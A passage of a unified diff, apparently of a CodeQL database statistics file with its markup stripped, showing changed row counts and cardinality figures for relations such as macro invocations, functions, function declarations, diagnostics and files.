-17539 +13350 17 30 -17857 +13592 30 95 -17303 +13170 95 196 -7908 +6019 @@ -10868,27 +10865,27 @@ 1 2 -116700 +88824 2 3 -75011 +57093 3 4 -15013 +11427 4 8 -19069 +14514 8 55 -4164 +3170 @@ -10904,57 +10901,57 @@ 1 2 -22347 +17009 2 3 -40101 +30522 3 4 -26207 +19947 4 5 -17848 +13585 5 6 -23567 +17938 6 8 -11308 +8607 8 11 -20817 +15845 11 16 -18571 +14135 16 25 -17292 +13162 25 70 -17315 +13179 70 183 -14582 +11099 @@ -10969,73 +10966,73 @@ 1 -3 -39 +2 +32 -3 -6 -40 +2 +4 +28 -6 -17 -39 +4 +9 +33 -18 -63 -39 +9 +27 +29 -67 -285 -38 +28 +83 +29 -293 -961 -38 +84 +250 +29 -1059 -2449 -38 +253 +778 +29 -2583 -5443 -38 +810 +1792 +29 -5520 -11130 -38 +1854 +4696 +29 -11557 -30612 -38 +4896 +16149 +29 -31990 -74443 -38 +16741 +45081 +29 -76164 -156094 -38 +45413 +79628 +29 -161229 -675130 -38 +80051 +397603 +29 -827356 -1129530 -3 +469072 +662955 +2 @@ -11051,61 +11048,137 @@ 1 2 -98 +75 2 3 -39 +30 3 8 -39 +30 8 21 -39 +30 21 55 -38 +29 56 131 -38 +29 136 336 -38 +29 341 729 -38 +29 733 1424 -38 +29 1471 1972 -38 +29 2001 2205 -38 +29 2210 2528 +17 + + + + + + +startColumn +startLine + + +12 + + +1 +2 +42 + + +2 +4 +29 + + +4 +9 +29 + + +9 +30 +30 + + +31 +119 +29 + + +128 +344 +29 + + +368 +881 +30 + + +937 +2167 +29 + + +2203 +5696 +29 + + +5825 +11890 +29 + + +12106 +16720 +29 + + +16802 +25740 +29 + + +25952 +100812 22 @@ -11114,82 +11187,6 @@ startColumn -startLine - - -12 - - -1 -2 -55 - - -2 -4 -38 - - -4 -9 -38 - - -9 -30 -39 - - -31 -119 -38 - - -128 -344 -38 - - -368 -881 -39 - - -937 -2167 -38 - - -2203 -5695 -38 - - -5825 -11890 -38 - - -12106 -16720 -38 - - -16802 -25740 -38 - - -25952 -100812 -28 - - - - - - -startColumn endLine @@ -11198,67 +11195,67 @@ 1 2 -55 +42 2 4 -38 +29 4 9 -38 +29 9 30 -39 +30 31 119 -38 +29 128 344 -38 +29 368 881 -39 +30 937 2167 -38 +29 2204 -5695 -38 +5696 +29 5826 11882 -38 +29 12096 16722 -38 +29 16802 25747 -38 +29 25952 100803 -28 +22 @@ -11274,67 +11271,67 @@ 1 2 -45 +35 2 3 -43 +33 3 4 -28 +22 4 7 -38 +29 7 13 -42 +32 13 29 -38 +29 29 48 -40 +31 48 64 -38 +29 64 86 -38 +29 86 115 -38 +29 116 154 -38 +29 154 172 -39 +30 172 292 -36 +28 @@ -11349,73 +11346,63 @@ 1 +2 +9072 + + +2 3 -11925 +34988 3 4 -27719 +7434 4 +5 +27371 + + +5 6 -3719 +9057 6 7 -27350 +10942 7 9 -9530 +12605 9 -10 -25931 - - -10 -12 -11229 - - -12 13 -15855 +13639 13 -17 -18701 +19 +13586 -17 -24 -18762 +19 +32 +13209 -24 -40 -17877 +32 +149 +13171 -40 -111 -17300 - - -111 -682 -17294 - - -682 -12585 -7272 +149 +3776 +10343 @@ -11431,37 +11418,37 @@ 1 2 -125252 +95333 2 3 -25952 +19753 3 4 -18772 +14288 4 5 -16313 +12417 5 11 -18171 +13831 11 73 -17344 +13201 73 1184 -8663 +6594 @@ -11477,27 +11464,27 @@ 1 2 -144940 +110318 2 3 -24518 +18662 3 4 -33768 +25702 4 7 -20411 +15536 7 23 -6830 +5199 @@ -11513,62 +11500,62 @@ 1 2 -11925 +9077 2 3 -46000 +35012 3 4 -9909 +7542 4 5 -36707 +27939 5 6 -12392 +9432 6 7 -16821 +12803 7 9 -17404 +13247 9 12 -18010 +13708 12 17 -17414 +13255 17 29 -17882 +13611 29 92 -17334 +13194 92 196 -8667 +6597 @@ -11584,57 +11571,57 @@ 1 2 -39629 +30163 2 3 -20522 +15620 3 4 -11727 +8926 4 5 -34332 +26131 5 6 -23031 +17530 6 8 -17840 +13579 8 12 -20038 +15252 12 18 -19915 +15158 18 34 -17781 +13534 34 107 -17388 +13235 107 185 -8262 +6289 @@ -11649,69 +11636,69 @@ 1 +2 +31 + + +2 3 -55 +37 3 -6 -49 +9 +39 -6 -11 -44 - - -11 -19 -45 - - -19 -76 -45 - - -82 -485 -45 - - -519 -1557 -45 - - -1577 -4435 -45 - - -4620 -13289 -45 - - -13504 -39575 -45 - - -44746 -101047 -45 - - -104789 -222396 -45 - - -222609 -374478 +9 +15 38 + +15 +37 +35 + + +37 +178 +35 + + +178 +515 +35 + + +518 +1625 +35 + + +1701 +5223 +35 + + +5589 +18000 +35 + + +18544 +48348 +35 + + +48446 +103789 +35 + + +104550 +165721 +33 + @@ -11726,57 +11713,57 @@ 1 2 -131 +100 2 3 -59 +45 3 9 -48 +37 9 26 -45 +35 26 66 -45 +35 69 201 -47 +36 202 538 -45 +35 544 1085 -45 +35 1099 1899 -45 +35 1910 2234 -45 +35 2244 -2369 -39 +2370 +30 @@ -11792,67 +11779,67 @@ 1 2 -61 +47 2 4 -47 +36 4 10 -42 +32 10 15 -45 +35 15 37 -45 +35 43 186 -45 +35 198 606 -45 +35 635 1783 -45 +35 1785 5015 -45 +35 5017 11631 -45 +35 11782 17737 -45 +35 17876 25461 -45 +35 25466 57229 -36 +28 @@ -11868,62 +11855,62 @@ 1 2 -61 +47 2 3 -70 +54 3 5 -49 +38 5 12 -47 +36 12 34 -47 +36 35 54 -53 +41 54 65 -45 +35 65 82 -45 +35 82 103 -45 +35 103 123 -45 +35 123 133 -48 +37 133 152 -38 +29 @@ -11939,67 +11926,67 @@ 1 2 -61 +47 2 4 -47 +36 4 10 -42 +32 10 15 -45 +35 15 37 -45 +35 43 186 -45 +35 198 606 -45 +35 635 1783 -45 +35 1787 5010 -45 +35 5014 11616 -45 +35 11748 17725 -45 +35 17881 25509 -45 +35 25511 57229 -36 +28 @@ -12009,23 +11996,23 @@ numlines -460971 +482256 element_id -460733 +475192 num_lines -8866 +9279 num_code -7049 +7369 num_comment -3708 +3876 @@ -12039,12 +12026,12 @@ 1 2 -460538 +468173 2 7 -194 +7019 @@ -12060,12 +12047,12 @@ 1 2 -460581 +468218 2 7 -151 +6973 @@ -12081,12 +12068,12 @@ 1 2 -460722 +475181 2 3 -10 +11 @@ -12102,42 +12089,42 @@ 1 2 -3979 +4159 2 3 -1221 +1288 3 4 -594 +621 4 6 -702 +723 6 11 -746 +791 11 -24 -681 +25 +712 -24 -115 -670 +25 +119 +712 -118 -7357 -270 +123 +7136 +271 @@ -12153,42 +12140,42 @@ 1 2 -4022 +4204 2 3 -1275 +1345 3 4 -573 +599 4 6 -735 +746 6 10 -767 +813 10 18 -735 +757 18 28 -670 +712 28 -30 -86 +32 +101 @@ -12204,42 +12191,42 @@ 1 2 -3989 +4170 2 3 -1275 +1345 3 4 -616 +644 4 6 -713 +723 6 10 -778 +836 10 16 -746 +723 16 24 -670 +734 24 28 -75 +101 @@ -12255,42 +12242,42 @@ 1 2 -2876 +2984 2 3 -1135 +1186 3 4 -529 +565 4 6 -616 +655 6 11 -540 +565 11 -23 -529 +24 +565 -23 -112 -529 +25 +116 +553 -113 -7362 -291 +121 +7250 +293 @@ -12306,42 +12293,42 @@ 1 2 -2908 +3017 2 3 -1124 +1175 3 4 -562 +599 4 6 -605 +644 6 11 -562 +576 11 21 -583 +576 21 -36 -540 +35 +576 -36 +35 40 -162 +203 @@ -12357,42 +12344,42 @@ 1 2 -2897 +3006 2 3 -1135 +1186 3 4 -551 +587 4 6 -605 +644 6 10 -529 +553 10 18 -605 +599 18 -29 -594 +28 +553 -29 +28 33 -129 +237 @@ -12408,42 +12395,42 @@ 1 2 -1708 +1785 2 3 -464 +486 3 4 -205 +214 4 7 -335 +350 7 12 -281 +293 12 27 -291 +305 34 201 -281 +293 -237 -34386 -140 +234 +33847 +146 @@ -12459,42 +12446,42 @@ 1 2 -1708 +1785 2 3 -475 +497 3 5 -335 +350 5 8 -291 +305 8 15 -291 +293 15 -47 -281 +43 +293 -48 -108 -281 +46 +97 +293 -108 -122 -43 +107 +125 +56 @@ -12510,42 +12497,42 @@ 1 2 -1708 +1785 2 3 -475 +497 3 5 -335 +350 5 8 -291 +305 8 15 -291 +293 15 -46 -302 +43 +293 -51 -102 -281 +45 +90 +293 -106 -108 -21 +90 +110 +56 @@ -12555,31 +12542,31 @@ diagnostics -63199 +66055 id -63199 +66055 severity -21 +22 error_tag -75 +79 error_message -205 +203 full_error_message -59825 +62528 location -15894 +16604 @@ -12593,7 +12580,7 @@ 1 2 -63199 +66055 @@ -12609,7 +12596,7 @@ 1 2 -63199 +66055 @@ -12625,7 +12612,7 @@ 1 2 -63199 +66055 @@ -12641,7 +12628,7 @@ 1 2 -63199 +66055 @@ -12657,7 +12644,7 @@ 1 2 -63199 +66055 @@ -12671,14 +12658,14 @@ 12 -2 -3 -10 +1 +2 +11 5843 5844 -10 +11 @@ -12694,12 +12681,12 @@ 1 2 -10 +11 6 7 -10 +11 @@ -12713,14 +12700,14 @@ 12 -2 -3 -10 +1 +2 +11 17 18 -10 +11 @@ -12734,14 +12721,14 @@ 12 -2 -3 -10 +1 +2 +11 5531 5532 -10 +11 @@ -12755,14 +12742,14 @@ 12 -2 -3 -10 +1 +2 +11 1468 1469 -10 +11 @@ -12778,32 +12765,27 @@ 1 2 -21 - - -2 -3 -10 +33 92 93 -10 +11 313 314 -10 +11 437 438 -10 +11 4999 5000 -10 +11 @@ -12819,7 +12801,7 @@ 1 2 -75 +79 @@ -12835,22 +12817,17 @@ 1 2 -43 - - -2 -3 -10 +56 3 4 -10 +11 10 11 -10 +11 @@ -12866,27 +12843,22 @@ 1 2 -32 - - -2 -3 -10 +45 92 93 -10 +11 437 438 -10 +11 4999 5000 -10 +11 @@ -12902,27 +12874,22 @@ 1 2 -32 - - -2 -3 -10 +45 71 72 -10 +11 92 93 -10 +11 1302 1303 -10 +11 @@ -12938,52 +12905,52 @@ 1 2 -43 +33 4 5 -21 +22 8 9 -21 +22 10 11 -21 +22 12 13 -43 +45 60 61 -10 +11 75 76 -10 +11 302 303 -10 +11 313 314 -10 +11 4999 5000 -10 +11 @@ -12999,7 +12966,7 @@ 1 2 -205 +203 @@ -13015,7 +12982,7 @@ 1 2 -205 +203 @@ -13031,47 +12998,47 @@ 1 2 -54 +45 4 5 -21 +22 8 9 -21 +22 10 11 -21 +22 12 13 -43 +45 60 61 -10 +11 75 76 -10 +11 302 303 -10 +11 4999 5000 -10 +11 @@ -13087,47 +13054,47 @@ 1 2 -54 +45 4 5 -21 +22 8 9 -21 +22 10 11 -21 +22 12 13 -43 +45 17 18 -10 +11 20 21 -10 +11 34 35 -10 +11 1302 1303 -10 +11 @@ -13143,12 +13110,12 @@ 1 2 -59815 +62517 313 314 -10 +11 @@ -13164,7 +13131,7 @@ 1 2 -59825 +62528 @@ -13180,7 +13147,7 @@ 1 2 -59825 +62528 @@ -13196,7 +13163,7 @@ 1 2 -59825 +62528 @@ -13212,7 +13179,7 @@ 1 2 -59825 +62528 @@ -13228,32 +13195,32 @@ 1 2 -3773 +3933 2 3 -2346 +2452 3 4 -5957 +6227 4 5 -1686 +1763 6 7 -1427 +1492 15 314 -702 +734 @@ -13269,7 +13236,7 @@ 1 2 -15894 +16604 @@ -13285,7 +13252,7 @@ 1 2 -15894 +16604 @@ -13301,7 +13268,7 @@ 1 2 -15894 +16604 @@ -13317,32 +13284,32 @@ 1 2 -3784 +3944 2 3 -2346 +2452 3 4 -5957 +6227 4 5 -1686 +1763 6 7 -1427 +1492 15 31 -692 +723 @@ -13352,27 +13319,27 @@ files -55998 +58538 id -55998 +58538 name -55998 +58538 simple -38200 +39933 ext -97 +101 fromSource -10 +11 @@ -13386,7 +13353,7 @@ 1 2 -55998 +58538 @@ -13402,7 +13369,7 @@ 1 2 -55998 +58538 @@ -13418,7 +13385,7 @@ 1 2 -55998 +58538 @@ -13434,7 +13401,7 @@ 1 2 -55998 +58538 @@ -13450,7 +13417,7 @@ 1 2 -55998 +58538 @@ -13466,7 +13433,7 @@ 1 2 -55998 +58538 @@ -13482,7 +13449,7 @@ 1 2 -55998 +58538 @@ -13498,7 +13465,7 @@ 1 2 -55998 +58538 @@ -13514,22 +13481,22 @@ 1 2 -28945 +30258 2 3 -5763 +6024 3 7 -3038 +3176 7 36 -454 +474 @@ -13545,22 +13512,22 @@ 1 2 -28945 +30258 2 3 -5763 +6024 3 7 -3038 +3176 7 36 -454 +474 @@ -13576,17 +13543,17 @@ 1 2 -33789 +35322 2 3 -3730 +3899 3 6 -681 +712 @@ -13602,7 +13569,7 @@ 1 2 -38200 +39933 @@ -13618,47 +13585,47 @@ 1 2 -10 +11 14 15 -10 +11 35 36 -10 +11 52 53 -10 +11 88 89 -10 +11 116 117 -10 +11 421 422 -10 +11 662 663 -10 +11 3790 3791 -10 +11 @@ -13674,47 +13641,47 @@ 1 2 -10 +11 14 15 -10 +11 35 36 -10 +11 52 53 -10 +11 88 89 -10 +11 116 117 -10 +11 421 422 -10 +11 662 663 -10 +11 3790 3791 -10 +11 @@ -13730,47 +13697,47 @@ 1 2 -10 +11 14 15 -10 +11 34 35 -10 +11 52 53 -10 +11 85 86 -10 +11 114 115 -10 +11 407 408 -10 +11 585 586 -10 +11 2721 2722 -10 +11 @@ -13786,7 +13753,7 @@ 1 2 -97 +101 @@ -13802,7 +13769,7 @@ 5179 5180 -10 +11 @@ -13818,7 +13785,7 @@ 5179 5180 -10 +11 @@ -13834,7 +13801,7 @@ 3533 3534 -10 +11 @@ -13850,7 +13817,7 @@ 9 10 -10 +11 @@ -13860,19 +13827,19 @@ folders -7763 +8115 id -7763 +8115 name -7763 +8115 simple -2995 +3130 @@ -13886,7 +13853,7 @@ 1 2 -7763 +8115 @@ -13902,7 +13869,7 @@ 1 2 -7763 +8115 @@ -13918,7 +13885,7 @@ 1 2 -7763 +8115 @@ -13934,7 +13901,7 @@ 1 2 -7763 +8115 @@ -13950,27 +13917,27 @@ 1 2 -1913 +2000 2 3 -475 +497 3 4 -346 +361 4 29 -227 +237 29 107 -32 +33 @@ -13986,27 +13953,27 @@ 1 2 -1913 +2000 2 3 -475 +497 3 4 -346 +361 4 29 -227 +237 29 107 -32 +33 @@ -14016,15 +13983,15 @@ containerparent -63739 +66631 parent -7763 +8115 child -63739 +66631 @@ -14038,52 +14005,52 @@ 1 2 -2768 +2893 2 3 -962 +1005 3 4 -400 +418 4 5 -583 +610 5 7 -583 +610 7 10 -486 +508 10 13 -659 +689 13 20 -637 +666 20 77 -583 +610 77 155 -97 +101 @@ -14099,7 +14066,7 @@ 1 2 -63739 +66631 @@ -14109,23 +14076,23 @@ fileannotations -5310386 +5569531 id -5071 +5312 kind -21 +22 name -50299 +52581 value -44093 +46093 @@ -14139,12 +14106,12 @@ 1 2 -118 +124 2 3 -4952 +5188 @@ -14160,57 +14127,57 @@ 1 67 -410 +429 67 85 -389 +406 89 189 -389 +406 190 296 -389 +406 337 488 -389 +406 488 593 -389 +406 593 687 -389 +406 687 933 -389 +406 935 974 -227 +248 974 975 -1362 +1424 976 2244 -346 +361 @@ -14226,57 +14193,57 @@ 1 80 -400 +418 89 109 -400 +418 109 234 -400 +418 234 533 -389 +406 536 744 -389 +406 744 934 -389 +406 934 1154 -400 +418 1166 -1612 -356 +1613 +384 1616 1617 -1362 +1424 1635 2819 -389 +406 2827 4079 -194 +203 @@ -14290,14 +14257,14 @@ 12 -458 -459 -10 +459 +460 +11 -469 -470 -10 +470 +471 +11 @@ -14313,12 +14280,12 @@ 2 3 -10 +11 4650 4651 -10 +11 @@ -14334,12 +14301,12 @@ 1 2 -10 +11 4078 4079 -10 +11 @@ -14355,62 +14322,62 @@ 1 2 -7439 +7776 2 3 -5135 +5368 3 6 -3946 +4125 6 8 -4292 +4487 8 13 -4097 +4283 13 17 -4270 +4464 17 21 -4465 +4668 21 35 -3870 +4046 35 155 -4119 +3956 155 -262 -3773 +249 +4057 -262 -380 -3806 +252 +379 +4136 -380 -457 -1081 +379 +458 +1209 @@ -14426,7 +14393,7 @@ 1 2 -50299 +52581 @@ -14442,62 +14409,62 @@ 1 2 -9342 +8579 2 3 -5968 +7392 3 4 -2032 +2124 4 6 -3762 +3944 6 9 -4335 +4543 9 14 -4119 +4317 14 17 -4043 +4227 17 21 -4022 +3944 21 38 -3816 +4170 38 101 -3795 +4001 101 -149 -3773 +146 +3956 -150 +146 2005 -1286 +1378 @@ -14513,67 +14480,67 @@ 1 2 -4779 +4995 2 3 -2357 +2464 3 6 -3816 +3989 6 21 -4022 +4204 21 24 -3232 +3379 24 26 -3438 +3594 26 41 -3308 +3458 41 -196 -3222 +197 +3368 -196 -213 -3308 +197 +214 +3458 -213 -267 -3546 +214 +268 +3707 -267 -323 -3308 +268 +324 +3458 -323 -366 -3341 +324 +367 +3492 -366 -470 -2411 +367 +471 +2520 @@ -14589,12 +14556,12 @@ 1 2 -44082 +46082 2 3 -10 +11 @@ -14610,67 +14577,67 @@ 1 2 -4833 +5052 2 3 -2735 +2859 3 6 -3395 +3549 6 15 -3827 +4001 15 18 -3330 +3481 18 20 -3276 +3424 20 24 -3708 +3876 24 -40 -3427 +41 +3696 -40 -50 -3351 +41 +52 +3650 -50 -77 -3405 +52 +79 +3526 -77 -95 -3308 +79 +98 +3650 -95 -109 -3524 +98 +111 +3583 -109 -167 -1967 +111 +168 +1740 @@ -14680,15 +14647,15 @@ inmacroexpansion -63817054 +48714362 id -18802251 +14340755 inv -2640727 +2078495 @@ -14702,42 +14669,42 @@ 1 2 -5546048 +4203539 2 3 -3617294 +2802488 3 4 -2540866 +1932341 4 5 -1772121 +1347264 5 6 -1372368 +1039205 6 7 -900884 +682192 7 8 -1725914 +1320188 8 -2023 -1326753 +6535 +1013535 @@ -14753,52 +14720,52 @@ 1 2 -622776 +525556 2 3 -366053 +279478 3 4 -192826 +157896 4 5 -224976 +171568 5 7 -201227 +151554 7 10 -222832 +171768 10 15 -214882 +165383 15 -24 -199956 +25 +159363 -24 -52 -199718 +25 +57 +156684 -52 +57 61799 -195477 +139242 @@ -14808,15 +14775,15 @@ affectedbymacroexpansion -41931290 +32147558 id -4892619 +3750847 inv -3792926 +2907823 @@ -14830,42 +14797,42 @@ 1 2 -1554422 +1191526 2 3 -944200 +723897 3 4 -794092 +608818 4 6 -397371 +304650 6 10 -384368 +294686 10 25 -396107 +303686 25 83 -366994 +281366 83 11028 -55061 +42214 @@ -14881,72 +14848,72 @@ 1 2 -222075 +170137 2 3 -298812 +229092 3 4 -257493 +197430 4 5 -333140 +255443 5 6 -328029 +251444 6 7 -310313 +237904 7 8 -257947 +197762 8 9 -247521 +189769 9 10 -210280 +161217 10 12 -318958 +244538 12 15 -289308 +221806 15 22 -302122 +231630 22 50 -286165 +219396 50 526 -130757 +100249 @@ -14956,23 +14923,23 @@ macroinvocations -37324960 +37320187 id -37324960 +37320187 macro_id -77342 +80850 location -693138 +724583 kind -21 +22 @@ -14986,7 +14953,7 @@ 1 2 -37324960 +37320187 @@ -15002,7 +14969,7 @@ 1 2 -37324960 +37320187 @@ -15018,7 +14985,7 @@ 1 2 -37324960 +37320187 @@ -15034,57 +15001,57 @@ 1 2 -17062 +17485 2 3 -10401 +12037 3 4 -4281 +3922 4 5 -6379 +6465 5 8 -5244 +5640 8 13 -6173 +6397 13 -26 -5806 +25 +6114 -26 -52 -5838 +25 +51 +6227 -52 -139 -5817 +51 +135 +6081 -139 -730 -5806 +135 +763 +6069 -735 -208023 -4530 +768 +204225 +4408 @@ -15100,37 +15067,37 @@ 1 2 -39887 +41697 2 3 -10758 +11246 3 4 -5503 +5753 4 5 -4671 +4882 5 9 -6379 +6668 9 27 -5860 +6126 27 3101 -4281 +4476 @@ -15146,12 +15113,12 @@ 1 2 -71849 +75108 2 3 -5492 +5741 @@ -15167,42 +15134,42 @@ 1 2 -268810 +229983 2 3 -145558 +214871 3 4 -33216 +37119 4 -5 -47953 +6 +64743 -5 -8 -53057 +6 +9 +56854 -8 -17 -55327 +9 +22 +54774 -17 -50 -52062 +22 +120 +54367 -50 -268738 -37151 +120 +263857 +11868 @@ -15218,12 +15185,12 @@ 1 2 -648709 +678139 2 356 -44428 +46444 @@ -15239,7 +15206,7 @@ 1 2 -693138 +724583 @@ -15253,14 +15220,14 @@ 12 -41293 -41294 -10 +31772 +31773 +11 -3410712 -3410713 -10 +3270002 +3270003 +11 @@ -15276,12 +15243,12 @@ 1746 1747 -10 +11 5915 5916 -10 +11 @@ -15297,12 +15264,12 @@ 5416 5417 -10 +11 58689 58690 -10 +11 @@ -15312,15 +15279,15 @@ macroparent -32591422 +33338838 id -32591422 +33338838 parent_id -25429927 +25921695 @@ -15334,7 +15301,7 @@ 1 2 -32591422 +33338838 @@ -15350,17 +15317,17 @@ 1 2 -19609707 +19919165 2 3 -4988216 +5142807 3 88 -832003 +859722 @@ -15370,15 +15337,15 @@ macrolocationbind -16721982 +3584013 id -3311619 +2506944 location -15561858 +1793936 @@ -15392,42 +15359,22 @@ 1 2 -770525 +1968399 2 3 -536774 +312514 3 -4 -750309 +7 +199181 -4 -5 -385541 - - -5 -6 -188975 - - -6 -8 -251383 - - -8 -14 -271312 - - -14 -984 -156797 +7 +38 +26849 @@ -15443,12 +15390,22 @@ 1 2 -15265413 +1431674 2 -272 -296444 +3 +156131 + + +3 +8 +142019 + + +8 +452 +64111 @@ -15458,19 +15415,19 @@ macro_argument_unexpanded -96605182 +99165689 invocation -28234388 +29019426 argument_index -713 +746 text -300664 +314304 @@ -15484,22 +15441,22 @@ 1 2 -7874290 +8145106 2 3 -11879289 +12167383 3 4 -6423862 +6593488 4 67 -2056946 +2113448 @@ -15515,22 +15472,22 @@ 1 2 -7933175 +8205498 2 3 -12052852 +12339823 3 4 -6241065 +6411961 4 67 -2007294 +2062143 @@ -15544,19 +15501,19 @@ 12 -55017 -55018 -627 +53995 +53996 +655 -55174 -190238 -54 +54197 +186981 +56 -784349 -2611263 -32 +770316 +2567394 +33 @@ -15572,17 +15529,17 @@ 2 3 -627 +655 13 921 -54 +56 6053 19177 -32 +33 @@ -15598,57 +15555,57 @@ 1 2 -40611 +38792 2 3 -46807 +65862 3 4 -12445 +14162 4 5 -54549 +46670 5 8 -20143 +22199 8 -12 -16737 +14 +24177 -12 -16 -19213 +14 +21 +28042 -16 -25 -25204 +21 +37 +24120 -25 -46 -22587 +37 +95 +23623 -46 -160 -22565 +96 +1690 +23578 -160 -597776 -19797 +1710 +585105 +3074 @@ -15664,17 +15621,17 @@ 1 2 -221224 +231260 2 3 -69178 +72317 3 9 -10261 +10726 @@ -15684,19 +15641,19 @@ macro_argument_expanded -96605182 +99165689 invocation -28234388 +29019426 argument_index -713 +746 text -180234 +188422 @@ -15710,22 +15667,22 @@ 1 2 -7874290 +8145106 2 3 -11879289 +12167383 3 4 -6423862 +6593488 4 67 -2056946 +2113448 @@ -15741,22 +15698,22 @@ 1 2 -11483096 +11837107 2 3 -10298592 +10546828 3 4 -5379706 +5533882 4 9 -1072993 +1101608 @@ -15770,19 +15727,19 @@ 12 -55017 -55018 -627 +53995 +53996 +655 -55174 -190238 -54 +54197 +186981 +56 -784349 -2611263 -32 +770316 +2567394 +33 @@ -15798,17 +15755,17 @@ 1 2 -616 +644 2 80 -54 +56 767 -13318 -43 +13319 +45 @@ -15824,62 +15781,62 @@ 1 2 -25971 +23499 2 3 -35908 +41018 3 4 -5363 +6092 4 5 -16997 +16694 5 6 -2573 +2192 6 7 -14629 +17610 7 -11 -15170 +10 +13428 -11 -16 -12964 +10 +15 +16932 -16 +15 29 -14229 +14547 29 -72 -13526 +77 +14140 -72 -249 -13537 +78 +317 +14151 -249 -1174337 -9363 +318 +1155957 +8115 @@ -15895,22 +15852,22 @@ 1 2 -94447 +98743 2 3 -71579 +74826 3 5 -13742 +14366 5 66 -464 +486 @@ -15920,19 +15877,19 @@ functions -3598577 +3170534 id -3598577 +3170534 name -259609 +269996 kind -75 +79 @@ -15946,7 +15903,7 @@ 1 2 -3598577 +3170534 @@ -15962,7 +15919,7 @@ 1 2 -3598577 +3170534 @@ -15978,32 +15935,32 @@ 1 2 -169270 +179752 2 3 -25279 +27715 3 4 -14164 +14886 4 7 -19959 +21091 7 -24 -19527 +35 +20345 -24 -62655 -11407 +35 +105127 +6205 @@ -16019,12 +15976,12 @@ 1 2 -258127 +268470 2 3 -1481 +1525 @@ -16038,39 +15995,39 @@ 12 -30 -31 -10 +31 +32 +11 -1578 -1579 -10 +615 +616 +11 2406 2407 -10 +11 -6949 -6950 -10 +5761 +5762 +11 -67105 -67106 -10 +42356 +42357 +11 -96220 -96221 -10 +103241 +103242 +11 -158527 -158528 -10 +126092 +126093 +11 @@ -16086,37 +16043,37 @@ 10 11 -10 +11 42 43 -10 +11 -425 -426 -10 +319 +320 +11 -1449 -1450 -10 +1433 +1434 +11 2406 2407 -10 +11 -2766 -2767 -10 +2763 +2764 +11 17049 17050 -10 +11 @@ -16126,15 +16083,15 @@ function_entry_point -1236446 +933599 id -1171950 +928502 entry_point -1236436 +933599 @@ -16148,12 +16105,12 @@ 1 2 -1164229 +923687 2 -128 -7720 +9 +4815 @@ -16169,12 +16126,7 @@ 1 2 -1236425 - - -2 -3 -10 +933599 @@ -16184,15 +16136,15 @@ function_return_type -3647925 +3190303 id -3598555 +3170511 return_type -852331 +917639 @@ -16206,12 +16158,12 @@ 1 2 -3552818 +3151160 2 6 -45737 +19350 @@ -16227,22 +16179,17 @@ 1 2 -413363 +275591 2 3 -320808 +585193 3 -5 -67589 - - -5 -119025 -50570 +78643 +56854 @@ -16252,60 +16199,60 @@ purefunctions -32657 +20303 id -32657 +20303 function_deleted -68594 +41516 id -68594 +41516 function_defaulted -20046 +3820 id -20046 +3820 fun_decls -2988576 +3260664 id -2988576 +3260664 function -2781462 +3087693 type_id -707259 +911208 name -231647 +242699 location -658343 +771197 @@ -16319,7 +16266,7 @@ 1 2 -2988576 +3260664 @@ -16335,7 +16282,7 @@ 1 2 -2988576 +3260664 @@ -16351,7 +16298,7 @@ 1 2 -2988576 +3260664 @@ -16367,7 +16314,7 @@ 1 2 -2988576 +3260664 @@ -16383,12 +16330,12 @@ 1 2 -2610634 +2958737 2 29 -170827 +128956 @@ -16404,12 +16351,12 @@ 1 2 -2745943 +3062555 2 6 -35519 +25138 @@ -16425,7 +16372,7 @@ 1 2 -2781462 +3087693 @@ -16441,12 +16388,12 @@ 1 2 -2691545 +3000671 2 29 -89917 +87022 @@ -16462,22 +16409,17 @@ 1 2 -303983 +265803 2 3 -297918 +582006 3 -5 -64572 - - -5 -93959 -40784 +83877 +63398 @@ -16493,22 +16435,17 @@ 1 2 -318180 +274969 2 3 -296534 +580254 3 -5 -56236 - - -5 -87830 -36308 +77852 +55984 @@ -16524,17 +16461,12 @@ 1 2 -603026 +847233 2 -4 -63026 - - -4 -7436 -41206 +7421 +63975 @@ -16550,22 +16482,17 @@ 1 2 -560165 +816997 2 -3 -68270 +5 +73910 -3 -6 -57663 - - -6 -18812 -21160 +5 +21499 +20300 @@ -16581,32 +16508,32 @@ 1 2 -132010 +139570 2 3 -31269 +31298 3 4 -17062 +17056 4 6 -17656 +19000 6 13 -18727 +18740 13 -62323 -14921 +105394 +17033 @@ -16622,32 +16549,32 @@ 1 2 -145288 +152727 2 3 -29150 +27850 3 4 -14867 +14908 4 7 -18630 +20955 7 -32 -17408 +26 +18457 -32 -61959 -6303 +26 +105111 +7799 @@ -16663,17 +16590,17 @@ 1 2 -203070 +211209 2 5 -18543 +20616 5 -32311 -10034 +53885 +10873 @@ -16689,27 +16616,27 @@ 1 2 -150380 +149618 2 3 -45380 +45223 3 -5 -18240 +4 +16050 -5 -133 -17375 +4 +7 +18604 -134 -7699 -270 +7 +8255 +13201 @@ -16725,27 +16652,27 @@ 1 2 -421527 +519410 2 3 -106406 +129849 3 5 -60604 +63387 5 -18 -50148 +406 +57849 -18 -1219 -19657 +410 +2881 +700 @@ -16761,27 +16688,22 @@ 1 2 -432080 +528158 2 3 -117899 +147640 3 -6 -51748 +9 +59940 -6 -64 -49434 - - -64 -1219 -7179 +9 +2881 +35457 @@ -16797,17 +16719,17 @@ 1 2 -566642 +683225 2 4 -58366 +58968 4 -611 -33335 +1440 +29003 @@ -16823,12 +16745,12 @@ 1 2 -634490 +746251 2 126 -23852 +24945 @@ -16838,48 +16760,48 @@ fun_def -574513 +1131629 id -574513 +1131629 fun_specialized -2519 +5605 id -2519 +5605 fun_implicit -400 +418 id -400 +418 fun_decl_specifiers -660231 +505624 id -370231 +283532 name -11 +8 @@ -16893,17 +16815,17 @@ 1 2 -108034 +82735 2 3 -234393 +179502 3 4 -27803 +21294 @@ -16917,8 +16839,8 @@ 12 -13599 -13600 +13600 +13601 2 @@ -16927,13 +16849,13 @@ 2 -65346 -65347 +65347 +65348 2 -133799 -133800 +133800 +133801 2 @@ -17060,26 +16982,26 @@ fun_decl_empty_throws -707875 +1258721 fun_decl -707875 +1258721 fun_decl_noexcept -6736 +14230 fun_decl -5979 +13428 constant -6714 +14117 @@ -17093,12 +17015,12 @@ 1 2 -5222 +12625 2 3 -756 +802 @@ -17114,12 +17036,12 @@ 1 2 -6692 +14004 2 3 -21 +113 @@ -17129,26 +17051,26 @@ fun_decl_empty_noexcept -440968 +280723 fun_decl -440968 +280723 fun_decl_typedef_type -173 +180 fun_decl -173 +180 typedeftype_id -86 +90 @@ -17162,7 +17084,7 @@ 1 2 -173 +180 @@ -17178,7 +17100,7 @@ 2 3 -86 +90 @@ -17188,19 +17110,19 @@ param_decl_bind -3717623 +4243105 